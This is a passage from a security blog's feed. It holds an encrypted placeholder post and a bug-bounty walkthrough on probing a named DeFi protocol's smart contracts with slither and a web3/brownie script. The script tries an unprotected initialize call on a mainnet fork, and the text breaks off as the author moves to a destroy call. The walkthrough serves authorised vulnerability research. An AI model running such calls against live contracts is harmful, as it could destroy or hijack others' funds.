f55552beedcd77da0068c499c9108b1e3ebdc59e1e4d02a82b551c78435d419390cf52b4658abeec0a30b4783c07ec48855c952c8cf82a1618d7252deee21e583bca037cc75c272d415784fdbbd346c003800b2e5b44ebaa7bd2dc8c9b9c7243b46b8e3ee9c8813c26e53ccbb86262bb697432aadb59f5b7f0098473c2ae6b6131b9c973c007f5a744ab684072aec24bfd541e79e1bbd8a446ea39e9b45ae6a639bf130554f0cbccc03107fce629e4330da67802c8495c002dd8871b77996eb9daaed83d12822bf39d29556b77df6de6debf707b55a9def0b7743f2d831df8298ce951d5c7133b878b9332be7e4c0f849865de56b8f95a185e54051cf352ecd26d82ab56415914d0aa34d787a1ac318f2595a31507123952773221cdc6d1c62f297cf2f8fabb84185ddc92705e97dbd6666dc7ff477fd1b590f64c55917edb0ba06247d202a88350de52ccb091e3810b9af455f51fd795a73ddc971102abab01fcb6cd00aab21eded2453f00320671843092b4e4d824d8bcdf992c308ebcff69692bc3ff2b7e0580aa36b56c52bb70ef6a98f18e764e3115902fd9e4de769ead58abe1618a25b716642be5893b2a04833306fd8da481650b7564096558cfdde0b1aca6385ec659c79d37ad3b30eebb21f6bc94d75058b44b09cd02367e77d0fa6fd1fed008f59eeba4c79036e2d960dcd809067dfe623a6355d9607d153de486bb3f01d767f81b8c0b46063e9384ae684e29203200e96cc7f9d20b96bd04880ee5479deae8d0412422d0d1084a540cb7a3b8d0460d8155facbd421f1f03c3304defc789daf96e0ca76c4c384d4c63ea8a034fa6769c11473c2f5cbac4ca91d0ae29624551652d54fa701f1039731a8635f129bf08440982de7b35ecfb1dfd703a576926907c090d702e9aa6b509d768856366db66e9c960e156ffa51f64318c3267b3050c0e665345ef1d58aa91a9abc7c0f23d1675134cb28a791c66322d0a074c34e7c3c3d5e209b27e4076db260f199ea86895f931462afe486045af9c532f4a4b61bfbb92939242b3c8a838bbec2dcdcfb914acd2546d8beda05ec72281f12b9ec03596396731b903a4b762dbaa84daacadf23381e74c165204ad170483220ecaf354d720754f7c95ddaab70f3ac391da3983cb930861cd1abadc57a89dcc8394e1a5774b8a5dfc4a0d5b0d59c1da9e7e8d389f8ff3c4aa4a552671f9997087da0cfa6c919babf855676bdddcb2fcefe92487b6cd886d9344606b1577ac10c06d16f7d336e97d07356c6f3033f2597fad33f4e54e97ce3aad8b1e9df492a0268e5043d09c8117b912f7f2dea44189bb4603b55f81016d0328672f9a221e406121f5a02d87e52813cb92cc0d63e6f60782cca9f9ee57078291570e3c50b0b5912cc48477d48558d46837f5cbb6ea8d7c750869b1b5a4a3535df76fa5e19cf707377002f66400d6fa44273e48058fa5c877d1aea7c30af11f218aaa6ab1225de46321655a7ec353f8d8efb01a701810477bb05ee69f4fc3ec29b67de5d757e2fad1fdbd4c6968205b2c2af10fe83666f22586323cc153af84ae3aeb0caefef39a54e476261403edaba205d946bfb3d28030b85266af5e67843a3411a3e306eedead60c13da131b39c5fe22bb52c1236259b58d5ff0a08dd867d6d7f9e4faed45e1df7c42ae23907d90d41420bbb278602ff60dea8b36f3d6ae213dbd5147323d0220533d910fd1d2cdd12fa14d53fadd5622395964dae750eb357e55a2c433722f6a3771d706362bdc0c7ea753cc0bb6480ac444bd36dc93a779cc457e949b91e4ebd7fda566d76fe7cc6ceb363bfe5270d6bcac206e3a8e088f1952066cf1346188c1604d394451ae2378c71304835f068ec753d9be898ed64a1a68b753485c86ed506fa1f6c0a41d77d5d668d91fcea49fb40ba19ad5054e87348d578637f27fc3e00252595da946386fd3d89b9cb7f4bcc837ec8aa0910b20fe85d7418a88b79cdef61230f0f3c05a68083aa99ca5393179d30860867de31627554d61eed68f479dc5936b33b03379cf4ba886d6e2a6402def7f842673a172aa4be15e70f2335823e0e0ce083926fec520d65f5f360be268fcf85a721d9bb92afb6935bdc04beab5cef8b153fe3d1bf4cefb8436434af17a3f9d912822033905794d522459e49f8ff9c8d4420775efdb1e99a50631c232d1161f00ddeacae908555cb229ecde0e4919ed99f3481af7da45f808f9de5f8251c7636af56f76135317f7c9d2a88f8920775d0e28faaf3c74b34e3362231eaa9c9be1eab5ed180846f6c748ebb9eda0b689261d88fce2e13ef8c271bd556e99a688559e6ff6fb7acfeace89d1104b4449c435ed6bbeabbbdffa9393a2ee767fecadbe6c96034cf13f1771b360459e094e9ffd0511a8cbd6a16d6bde77f4734020419e3790711463e9857c148f20065e9089a74dc223c81d678b3491d60c5dd3a634b8b6da07517145776568a9762820d219a07fcec87db318d74b762c0e7496aaabfbe8152f820adf74e8ee1e8c9249c76b78d9fb353754197738f64d2ebb5c4607bb0181737bdb1d8c23f87a79222937f8905a7c5dc43a0f91616c60a358bb4e79c08fd4d40669c8a26621a1691d089d72dac8e41fe2d4be3d7f23ba176e3145f99eebde583cd6606f3dd76318fcbbe6a8d19c8b87da4b2cf9aef49213c9917fcf181d454dd0d8b5a139fa1d27512246db31425cf5bfdb764cdfc692177be32e01060243a09b5ad043aedd52733597580d61c94893e9b094c872b6cf57b3e97457206cc2a6db1be025f49a124ee597a432141e1cffc70b6210a87dba3cd984721ea4c45049bbb5838928e5d3a75189f7c408c9be89695577b66e22b59cb88f2f2f46ccdb2b118472ddfc055703c25fafedccc8a892b6791f80bda1d8649597b96cf1ccafebc85f9b3fbead002e342e9bdddbac050a89a04e0a6a0a9883e5bb7631d4954721f4b860a70422a83511d990edbce80dbc855e2bc515921898c399cbe9074543491e8a63aa2c17fb75abfd202329ae1908630a2d757ed7a2c205bf1557733afe2ab1a2c4d6525aab201c69d267a36ecb3612506cb7358030cf2a005651f884b5f00760e3da8da027604a26df868cddc5c9f02589d613b8d7d89bac1abcbedc7c898d5b3a6b947d8904389cd93c395708d7ab57173f79c78c97d5dd07f667979af59282b294f4ad7266816dfb2da2cd4c3876c3145f1189fb39f98a2ded9f435f9ccb5e84db877d4e51796eebf3738409e9ef571328abfaec9a9f7356316b3fff2cccaea29edc1d4ca5289405c2664949a183b7c3aa86f3ee210579501af4e5a73414f04c89eb380c59b8e9ddbf2f4a0ef9038e032eacac640e086ef5654b8e5a94c75c01cc1f687f0bdee8e5e25772bfcd5e0651f44c6281aa3fcf1bdde34307404bd33e1ba818b2023b132d43da24018ee8c6d888052852e2c4e1130ca3efcf9f703e82219c8b0a31577fc4c797a1cd180962c588d3dccba89db25b4adfc85e0a164d5b43ba09a803ab4205e489d3a2d93713c08a81db1155a87efe0ceda79ca78611db209f69c3308dc1e7aef7c6db5e75e660213204f9381788463909cafe24df105770b95d21ad351e1024d72d2bc1f08c467ae46937477e04f0bd7ef15cd106adc06f45833e77ec9188eb412df9d3aa12134acaeb3cd372620ed932ff02ea66f65c3e7d1fe81c142894b52fb0411a499b1382218e8200ab3c8c9c2f11ab604d930310363295ef8f18d06b531bca43e2d42296414a0064c0bf6208fe8db3cb56c98ea618c282167ae5df89cfdfc20a57f88795424ec6612a22e4e81c3f7f3f54a3227ef6825276c579607b58d3c31310e1dcaf45ca68ba09325458e346b80a3fd0f8f6dadc4bdaf028e5a6b2b5183e9472ac0cfcb2258f037dac292f1e4c28a8f1ad2980cea48c2d9e8060c9b5bd78422426948e7c324b369196ef5b007994c59a436649bd1963674f26e5cb2d53a69e9b6c8c31a3265413e70ede411c163d6e2d5328d9946a96ac09d04aba52bcf6f2c7bb153259d8d6e12ecb8cfef545b78f244d534e5899b32191021ac754f0520781416ba9316b3c6bc2cc6345473a60792742f663978cd1235c03e4ce31bee0e9afd65d41ff98c901d0df87274426a41d6ea9b98f4832456a02b0714ce3247fd46d9cbedecf599e71f7908e035d8afa9eb199d3f7b086e946bcf85c1c1ad43c0bcc3c28b966af10dd1a7e92a579255ad79869d8aeafbbc0f18f8d7b49ff3ba3c50a118edbe514f835ece69a7a9aa0cec53da2734ab5c42095d8e5ef69b6ac606a28db284ea30eee3a02e2cee38c158700aa71be2563cd74b0906f07fac5199c86e811d3d51995237315e60b41438870d8e12eb8b0cb3faa22900cd05c9a944eeb7e564a9a5973f7be2698cb50f583b438589a53db398d24ac41bf219244e95ce3821aaf57e39cd7cec2659f5e128aafbb7d59eac0f936282e5a5ec2c2ec2cc4609a25f6d1456b02b4804587eb892e4d01f5887e2c9d08d3fe1923796f166848a7dad1e742ffeb776284f85bf0d0def087ba189f8a3cfcf006642640d56f8fc8370168b13f4bda01b04a394ee758190055b9f220147e308906c46ac80a8c21246215838775f6f35e2997c20b3f84ce7e4c85273293fa9389852b1e9b838fd4d42d02aaf25d01f952d7781d1308746c8c6832e6e87e9538fdb727a4763f54b45bb83c3a250d1c545245df3976039f2bbba93d3b523b88ca4a340cbe6d28f37b224a6c973f343079fc061dbb12310994ca0e15b9a851a5b93fb69b8a226b8afd9ab7f2301665e9bab2561cdfc8ab137d0b77d766696a525da0fa6910552d08452b3a18f2930311b73c52add3495db1902052164ef6dbc112d049285d80179b7452a2a0fbd564b2299e6c9bc9d6732f5047b12f4bfd7f462c47bdef615555a16642194bf183ce506284f0574ee7e93031faf183fbf1b6348f31eaffd18d6691113aee0be156a06e5fa47223296cbf94d25e0398698cad458b0eed1494ba5e7132d5cc99daa1c0aa86281dcd071116267fd659ac2eb3782a249488bb5f2ddec98a574ffe8b3a3ee979f0a911ed93545a4f6eda720d78d71305ff2bf43cd3dbf70b31c6faca9c104cfba273497f7afbd89da04983bd05813732e8ac0e3ed94e8018ece76ac8879d45adad6de35ac200b99a27e69782e64438a1c8cd3a17308948ed1724431c5bf83154c54167491b2150f7d9920bb32af74e33352a04f47d4a03414f113f29096ace41e45f238b0f8ded2fcb899987b06954beb43e11057cb55aaeed75d9e1682ec70033badb5f10601c879c1030aaae6a07d14d3c023f9fb8c75709272afe441f6be1e5630b579bc86d98e523547706b6580fe3f47dab3d0854ae14c437b4c96d43fba6ec38eb9cb2b2df9a4a6828a26f278ebc39120f822558f245b6e3396bad2cc5120f8c986d827368b32845b66b36c942033d1de70fb9c899b5adca4bd1ec4d6024dcb2189ce04a4e4b3b425ea24e70c9b40940f79b242db63b9b268555bc68648ca3fc767ba75cf25c0db3b04685e74fa5db7cfa9dc639b674d118f85679d6cefe443ec894dd134249d3b08253959091b45806045ad0488914f3ade8be5eaabd63a22bb31de4315d6e783b5d883f246e1f2179e7c3b7e775adbb8b240722058b019b0e27a124f5d308ea11190f384a892d8e0c532a07be51e9ee1244ef4dd5f4447cdce60941552fe3299149818af7146d30571322e01750a1bf1d7b7783f37f120b9b9cf8953fb8831f2b8524b8cf3b881750235ac1295ef4eef831bc41ad2b3bce4b6de00753b45e096cd8958e4bcf817d5dcdca5cc44fe3c3a5607461cc912cff16b6d174eae461c01c3ff632f5e333d2a1b29d53aa4ac492c45a95e44cf63ddb27fa000448fa4cae9cca95854d4a1532f63993486e4f5eb28d827041fd11d1182ac4c73e78c3346fd707742a6ad4c95e0960e3b79ac7ce27379c9a05fb2dca58a579cad238126eeff0782d75b1e518bd13d81a3ab3998bad27a23aad8e3a26a1f56c87114147f6bec8921c549d085f9b3671451fce21d78ed00ccf4af2e9ec5a61727cd5a0cc0968c3f6e5dd8e0a071368a645202cd4dad5d717fb7fb96672e541501bb121f2fa77820281b7ad4ed561c1f9c66c9427e2b92e024c5571aea55300e84d2bbf1231690bc35be80fc0e91e5c2ca1e655e5ec7a12a825ba5d29036591fa78a98f3b040c1322157ffe1b077d370816edf0b225eaaa6fe648ff7b7e90ef35afa16e38d66370be398f9b7cb6bd6d0d507d83c2bceaf196310a2d14819e983151097942d6a477766788d2bdebb37dc6cd81e2e4a986ad08422ed27d59cc94bd041821e556b6b7591fc6b697e3789e343826e34e05999630ef218779eeecb7fcc2090eec80faf79950046445afdbdb6292c252c291fe13a0673aee071c776db65640955de1e5851e899ecbc9596d21a7eab5149ca69768bd6cb1366e80b1d9a029c7b4a2cdeab5937239649fdeea17e74de0e1f25d4d0a4120271c2e79608608790f23a82cda06bd046a6805d2f9aa1008074763c9b437981903bf31582d4054caeb98caca8b98ff8c9625196ed9f51c521ab725e86f6c82148d4b38dea8b6786f9ae31c55cccd30e8bbfab026c664fdefdb52bada56b4d74f2930ee8d46248f34ed51555d5e06ece5ded1a21b8a424e9e45e4e711174ad510356f150ba27d3c9cd2c859ee19c0a74bc036341b150026cca7f0e546e5edd4c50eda00a41518d53998b6d8ab39bc6f1ff4cd50d7b930e9e6049aa4a20a0249815f4f6ca7ceb99d66b9af7a2cac1e6a39c9f57467cc430e4d7ed32e96e5ff22ca4f4e8aad68bab12cbd517274b4aa68b29b0c020954c99319cea130678955348c8b95367d24c5489cd45d74469812631c646d25ec3e46e6b6a74035469101eacc8388604c463fafe57463253d95726f2861c51d1a3fba7743ee9705530931b59a8b196d95bea42b7a08fdd56c7cc201bf0450f2c4ea35654c7093a4c3d6b269a9da63e35529876e7fdcf8ce6e709e79ec4238c1ecfb8e682c04757adffa036ea49270f3fcc23f2c7acd3130c473112d1d41304076270da5b46c9c61fa5e836e8ca3115600ef75c656d396761fd0daf3e0d6e47225a725e51769aacdfe549b2dcb804f9680f05f48086045528276fe84cb9996edfb0ced071fc1824727eb0225f50e97aee8f6cd060185031a4b49ec4a865ecfbd6bc2fde326dbe1293b04e7da434ed44daa6e47a896fab5e3886f082de577d5246437f738b58b1d6802ad0d1638c7df92d98e3d4efd9234b0f342f8960fdeb8661c8c213be10111b72558eff5812340cad76ac50a4738f8e366e34212939e2640c019e34b20c490f05ebf9dcc0f16e71bd6b1c5e659e2a1b786792b4fc094b6c8b41910dacf37e59f1caa9d9dfb341dee4ae930eafb4cf349bf19f17f423a25fc80476317117663232de6161c83fa9ca5c0b26ecd6074ba801c1313b90e2bab6148ce257d82964062375b4645e3e6d47b440a423e587a6fead2c62c92edeb0baacac71453e00f15f9f74ca199ff37a806c51f131be84bc962af742ec20954f1b0c05e8b8f6b585ad8e9c54eb25644c965d6e16f8b882f9ec6b993f4afacae17dfdef0b9d9cca1d25e2af5fb6287b6fb445daeb5e4c3a619f32359aacb3d7f4cfda8a51a99e1ff87d9827c53023fe6981bc8395f243b9f73ff6b7da47fea4a292be05d1004c6c0d3a2980e885d03a94f88991a1386837f8740ae2b5f1d135bde4ac5bbb84c1ee1c16230b32950b499d45d89fcbffc9f6fb035f83a9c27412fa5c6f4461e55c2ed1153a4ecfd317a536b8c5aad291fa461ff6b377503e89321eb6921edd59be4b3bb67b5d1f754d5d05c1ce2160ccdfb64ddcfce8aa3163fe81b9d120ad</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-surge">      <input class="hbe hbe-input-field hbe-input-field-surge" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-surge" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-surge" data-content="Sorry! Still under construction. Check back later.">Sorry! Still under construction. Check back later.</span>      </label>      <svg class="hbe hbe-graphic hbe-graphic-surge" width="300%" height="100%" viewBox="0 0 1200 60" preserveAspectRatio="none">        <path d="M1200,9c0,0-305.005,0-401.001,0C733,9,675.327,4.969,598,4.969C514.994,4.969,449.336,9,400.333,9C299.666,9,0,9,0,9v43c0,0,299.666,0,400.333,0c49.002,0,114.66,3.484,197.667,3.484c77.327,0,135-3.484,200.999-3.484C894.995,52,1200,52,1200,52V9z"></path>      </svg>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">This is still under construction. Sorry! Check back later. Part 2.</summary>
    
    
    
    
    <category term="Offensive Security" scheme="https://blindcyber.gitlab.io/tags/Offensive-Security/"/>
    
    <category term="Artificial Intelligence" scheme="https://blindcyber.gitlab.io/tags/Artificial-Intelligence/"/>
    
    <category term="Encrypted" scheme="https://blindcyber.gitlab.io/tags/Encrypted/"/>
    
  </entry>
  
  <entry>
    <title>Creating a PoC for Smart Contract Bug Bounties</title>
    <link href="https://blindcyber.gitlab.io/2022/03/29/First-Smart-Contract-Bug-Bounty/"/>
    <id>https://blindcyber.gitlab.io/2022/03/29/First-Smart-Contract-Bug-Bounty/</id>
    <published>2022-03-29T20:39:07.000Z</published>
    <updated>2025-10-28T13:30:47.277Z</updated>
    
    <content type="html"><![CDATA[<p>After gaining some practice hacking smart contract on ethernaut, it’s time to try hacking on a real bug bounty program. In this post I’ll walk through my process.</p><h3 id="1-Identify-a-bounty-program"><a href="#1-Identify-a-bounty-program" class="headerlink" title="1 - Identify a bounty program"></a>1 - Identify a bounty program</h3><p>The first thing that must be done is picking a bug bounty program. Head over to Immunify and pick a random program that you’d like to hunt.</p><p>Scroll down to ‘Assets in Scope’ and you’ll find a number of etherscan addresses.</p><p>In this post I’ll be testing the <code>ondofinance</code> bounty program</p><h3 id="2-Prepare-the-development-environment"><a href="#2-Prepare-the-development-environment" class="headerlink" title="2 - Prepare the development environment"></a>2 - Prepare the development environment</h3><p>As discussed in other blog posts, we want to do our testing either locally or via mainnet fork. Testing locally works for simple projects but sometimes there’s problems compiling and configuring everything if a project uses, say, hardhat, but we want to use brownie.</p><p>We’ll create a new brownie project manually by copying our Ethernaut project files to a new directory.</p><ul><li>Ethernaut project is available on my GitHub</li></ul><h3 id="3-Audit"><a href="#3-Audit" class="headerlink" title="3 - Audit"></a>3 - Audit</h3><p>At this point I want to begin the discovery and recon phase where we try to identify interesting, or vulnerable functionality of the smart contracts. The scope of the bounty includes several etherscan addresses - for our purposes we’ll choose the first one and start reading the source code on etherscan. </p><p>In this guide we won’t go into hacking smart contracts via bytecode (symbolic analysis), though it can be done. When etherscan publishes the solidity source code, this means the ABI is available for us to use, which contains all of the read and write functions/variables that we care about. For now we only want to audit smart contracts that have the source (ABI) published.</p><h2 id="Tools"><a href="#Tools" class="headerlink" title="Tools"></a>Tools</h2><h3 id="Slither"><a href="#Slither" class="headerlink" title="Slither"></a>Slither</h3><p>Top of the list is going to be <code>slither</code> which will scan for common vulnerabilities. It interprets solidity code and converts it into an intermediate language, which is then used to perform vulnerability checks. There will be false positives, there will be results that we don’t care about. Being an effective analyst is all about evaluating the results.</p><p><code>slither 0x2BB8de958134AFd7543d4063CaFAD0b7c6de08BC</code></p><p>As simple as that, slither will scan the smart contract files that are associated with the address using etherscan. </p><h3 id="Phalcon"><a href="#Phalcon" class="headerlink" title="Phalcon"></a>Phalcon</h3><ul><li><a href="https://explorer.phalcon.xyz/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://explorer.phalcon.xyz/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Trace + Source + Debug + Params etc</li><li>Can Simulate transactions</li></ul><h3 id="Sam’s-Transaction-Viewer"><a href="#Sam’s-Transaction-Viewer" class="headerlink" title="Sam’s Transaction Viewer"></a>Sam’s Transaction Viewer</h3><ul><li><a href="https://openchain.xyz/trace/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://openchain.xyz/trace/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Gives the function inputs raw and decoded</li></ul><h3 id="Tenderly"><a href="#Tenderly" class="headerlink" title="Tenderly"></a>Tenderly</h3><ul><li><a href="https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6">https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6</a></li><li>Similar to both but worse debugger</li><li>However, the advantage is that you can view the code and the conversion process of Input data while Debugging</li><li>Debug -&gt; select call -&gt; re-simulate</li></ul><h3 id="EVM-Bytecode-Decompiler"><a href="#EVM-Bytecode-Decompiler" class="headerlink" title="EVM Bytecode Decompiler"></a>EVM Bytecode Decompiler</h3><p><a href="https://library.dedaub.com/decompile">https://library.dedaub.com/decompile</a></p><h3 id="Asset-Flow"><a href="#Asset-Flow" class="headerlink" title="Asset Flow"></a>Asset Flow</h3><p><a href="https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7">https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7</a></p><ul><li>Like Phantom but can be better flow chart</li></ul><h3 id="VSCode"><a href="#VSCode" class="headerlink" title="VSCode"></a>VSCode</h3><h4 id="Solidity-Metrics"><a href="#Solidity-Metrics" class="headerlink" title="Solidity Metrics"></a>Solidity Metrics</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics">https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics</a></p><h4 id="Solidity-Visual-Developer"><a href="#Solidity-Visual-Developer" class="headerlink" title="Solidity Visual Developer"></a>Solidity Visual Developer</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor">https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor</a></p><h4 id="Inline-Bookmarks"><a href="#Inline-Bookmarks" class="headerlink" title="Inline Bookmarks"></a>Inline Bookmarks</h4><p><a href="https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks">https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks</a></p><h3 id="Static-Analysis"><a href="#Static-Analysis" class="headerlink" title="Static Analysis"></a>Static Analysis</h3><ul><li>Mythx - <a href="https://mythx.io/">https://mythx.io/</a></li><li>Slither - <a href="https://github.com/crytic/slither">https://github.com/crytic/slither</a></li><li>Mythril - <a href="https://github.com/ConsenSys/mythril">https://github.com/ConsenSys/mythril</a></li><li>4naly3er - <a href="https://github.com/ConsenSys/mythril">https://github.com/ConsenSys/mythril</a></li></ul><h3 id="Fuzzing"><a href="#Fuzzing" class="headerlink" title="Fuzzing"></a>Fuzzing</h3><ul><li>Echidna - <a href="https://github.com/crytic/echidna">https://github.com/crytic/echidna</a></li><li>Foundry Fuzz - <a href="https://book.getfoundry.sh/forge/fuzz-testing">https://book.getfoundry.sh/forge/fuzz-testing</a></li></ul><h3 id="Findings"><a href="#Findings" class="headerlink" title="Findings"></a>Findings</h3><p>Let’s look at a snippet of the <code>slither</code> output</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TrancheToken (contracts/TrancheToken.sol#16-120) is an upgradeable contract that does not protect its initiliaze functions: TrancheToken.initialize(uint256,string,string,address) (contracts/TrancheToken.sol#33-43). Anyone can delete the contract with: TrancheToken.destroy(address) (contracts/TrancheToken.sol#94-101)Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unprotected-upgradeable-contract</span><br></pre></td></tr></table></figure><p>Notice that the <code>slither</code> output will be color coded, I assume based on the level of severity for each respective finding.</p><p>Looking at this snippet we can see that the tool identified a <code>destroy()</code> function that anyone can call. Interesting - lets investigate whether that’s true.</p><h3 id="Solidity-Analysis"><a href="#Solidity-Analysis" class="headerlink" title="Solidity Analysis"></a>Solidity Analysis</h3><p>Going back to the etherscan page, we can see that there’s a file named <code>TrancheToken.sol</code> which is what <code>slither</code> was complaining about.<br>There were multiple files within the etherscan link though, and only one of them is the “main” file. In this case the Contract Name, shown at the top of the etherscan page, is <code>AllPairVault</code>.</p><p>Below is a snippet of that file:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: AGPL-3.0</span><br><span class="line">pragma solidity 0.8.3;</span><br><span class="line"></span><br><span class="line">import &quot;@openzeppelin/contracts/token/ERC20/IERC20.sol&quot;;</span><br><span class="line">//&lt;other imports&gt;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * @title A container for all Vaults</span><br><span class="line"> * &lt;Other information etc etc&gt;*</span><br><span class="line"> */</span><br><span class="line">contract AllPairVault is OndoRegistryClient, IPairVault &#123;</span><br><span class="line">  using OLib for OLib.Investor;</span><br><span class="line">  using SafeERC20 for IERC20;</span><br><span class="line">  using Address for address;</span><br><span class="line">  using EnumerableSet for EnumerableSet.UintSet;</span><br><span class="line"></span><br><span class="line">// &lt;Other stuff within the file...&gt;</span><br><span class="line"></span><br><span class="line">address public immutable trancheTokenImpl;</span><br><span class="line"></span><br><span class="line">// &lt;Other stuff within the file...&gt;</span><br></pre></td></tr></table></figure><p>So here we see that the TancheToken that we are looking for is declared as an immutable address. This is how we can access the TancheToken instance. Instead of manually looking for the <code>public</code> or <code>external</code> keyword within the code, you could have also selected the “Read” and “Write” buttons on etherscan to see what’s available for use.</p><h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>Within our brownie project I created the following function:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">ondofinance</span>():</span></span><br><span class="line">    </span><br><span class="line">    account = get_account()</span><br><span class="line"></span><br><span class="line">    ondoInstanceAddress = config[<span class="string">&quot;networks&quot;</span>][network.show_active()][<span class="string">f&quot;ondo_first_address&quot;</span>]</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;./AllPairVault.json&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        info_json = json.load(f)</span><br><span class="line"></span><br><span class="line">    abi = info_json[<span class="string">&quot;result&quot;</span>]</span><br><span class="line"></span><br><span class="line">    w3 = Web3(Web3.HTTPProvider(<span class="string">f&quot;https://mainnet.infura.io/v3/<span class="subst">&#123;os.getenv(<span class="string">&#x27;WEB3_INFURA_PROJECT_ID&#x27;</span>)&#125;</span>&quot;</span>))</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Connected? <span class="subst">&#123;w3.isConnected()&#125;</span>&quot;</span>)</span><br><span class="line">    ondo = w3.eth.contract(address=ondoInstanceAddress, abi=abi)</span><br><span class="line"></span><br><span class="line">    trancheToken=ondo.functions.trancheTokenImpl().call()</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;trancheToken :&#x27;</span>, trancheToken)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;./TrancheToken.json&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        abi2 = json.load(f)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    tranche = w3.eth.contract(address=trancheToken, abi=abi2)</span><br><span class="line">    tranche.functions.initialize(<span class="number">0</span>, <span class="string">&quot;test&quot;</span>, <span class="string">&quot;test&quot;</span>, ondoInstanceAddress).call(&#123;<span class="string">&#x27;from&#x27;</span>:account.address&#125;)</span><br></pre></td></tr></table></figure><p>This is different than how solidity classes are instantiated with brownie since we’re not using the contract interfaces within the project. Web3.py can be used to interact with existing contracts using only the address and ABI. There’s a lot to dissect here so I will explain each piece. </p><ol><li>get_account fetches the account</li><li>within our config we’ve identified the address of the etherscan address specified in the bounty program. this gets defined as ondoInstanceAddress.</li></ol><p>Next I headed over to etherscan and scrolled down the page until I reached a textbox containing the ABI. After saving that ABI to disk, I named the file <code>AllPairVault.json</code> </p><ol start="3"><li>the ABI json file gets parsed.</li><li>the web3 python library initializes the provider, which uses my environment variable containing my infura project ID.</li><li>provider is confirmed as connected</li><li>now that the ABI has been parsed and we have the smart contract address, we create the contract object</li></ol><p>Now that we know where the TrancheToken instance is defined, lets grab it.</p><ol start="7"><li>the TrancheToken instance address is saved as trancheToken</li></ol><p>At this point we need to initialize the TrancheToken class finally. Again we’ll grab the ABI from etherscan, save the JSON to disk, and reference that.</p><ol start="8"><li>the TrancheToken ABI is saved as <code>abi2</code></li><li>the address that we discovered, and the abi, are used to create a contract object</li></ol><p>Now we could try to call the <code>initialize</code> function that <code>slither</code> mentioned to us</p><ol start="10"><li><code>intialize</code> is called using random parameters. <ul><li>Remember that address checksums get checked for validity, so you must pass a real address otherwise solidity will interpret it as a string. Here I’m using the ondoInstanceAddress but any address could be used.</li></ul></li></ol><p>Finally we can test it out. We want to do our testing using a fork of mainnet, so I call the script like this:<br><code>brownie run scripts/deploy.py  --network mainnet-fork-dev</code> which will use my fork. </p><ul><li>My github has context on how to set this up in your local environment.</li></ul><p>So can we call <code>initialize</code> ?</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ContractLogicError: execution reverted: Initializable: contract is already initialized</span><br></pre></td></tr></table></figure><p>Nope! We can’t. Looking back at the original finding, <code>slither</code> said:</p><p><code>Anyone can delete the contract with: TrancheToken.destroy(address)</code></p><p>Maybe we can call it! Let’s try by replacing the last line:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 